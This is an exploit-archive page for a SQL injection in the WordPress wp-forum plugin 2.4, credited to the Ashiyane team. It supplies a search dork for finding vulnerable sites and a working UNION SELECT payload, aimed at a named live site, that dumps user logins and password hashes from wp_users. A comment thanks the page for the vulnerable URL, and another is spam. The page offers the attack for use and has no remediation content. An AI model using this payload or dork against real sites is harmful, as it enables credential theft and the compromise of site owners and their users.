Wordpress wp-forum plugin SQL Injection

2013.02.06

Credit: Ashiyane Digital Security Team

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-89

Dork: inurl:wp-content/plugins/wp-forum/feed.php?topic=

##############
# Exploit Title : Wordpress wp-forum plugin SQL Injection
#
# Exploit Author : Ashiyane Digital Security Team
#
# software Link : www.fahlstad.se/wordpress/plugins/wp-forum/
#
# Home : ww.Ashiyane.org
#
# Version : 2.4
#
# Security Risk : High - SQL Injection
#
# Dork : inurl:wp-content/plugins/wp-forum/feed.php?topic=
#
##############
#Location : site/wp-content/plugins/wp-forum/feed.php?topic=[SQL]
#
#
#
#DEm0:
# www.harmonies-online.fr/wp-content/plugins/wp-forum/feed.php?topic=-4381+union+select+group_concat%28user_login,0x3a,user_pass%29+from+wp_users%23
#
#
##############
#Greetz to: My Lord ALLAH
##############
#
# Amirh03in
#
##############

References:

http://www.fahlstad.se/wordpress/plugins/wp-forum/

See this note in RAW Version

Vote for this issue:

100%

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

iMac Customer Service Number

| Date: 2018-04-02 06:43 CET+1

That's was a great article, I agree with all that you stated and if you need help regarding any issues with iMac Customer Service Number then you can contact us. 
https://babasupport.org/apple/imac-customer-service-number/345

Rizwan

| Date: 2020-02-03 18:08 CET+1

this vulnerable url help me a lot.
jazakallahu khairan

Wordpress wp-forum plugin SQL Injection

Dork: inurl:wp-content/plugins/wp-forum/feed.php?topic=

References:

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Wordpress wp-forum plugin SQL Injection

Dork: inurl:wp-content/plugins/wp-forum/feed.php?topic=

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.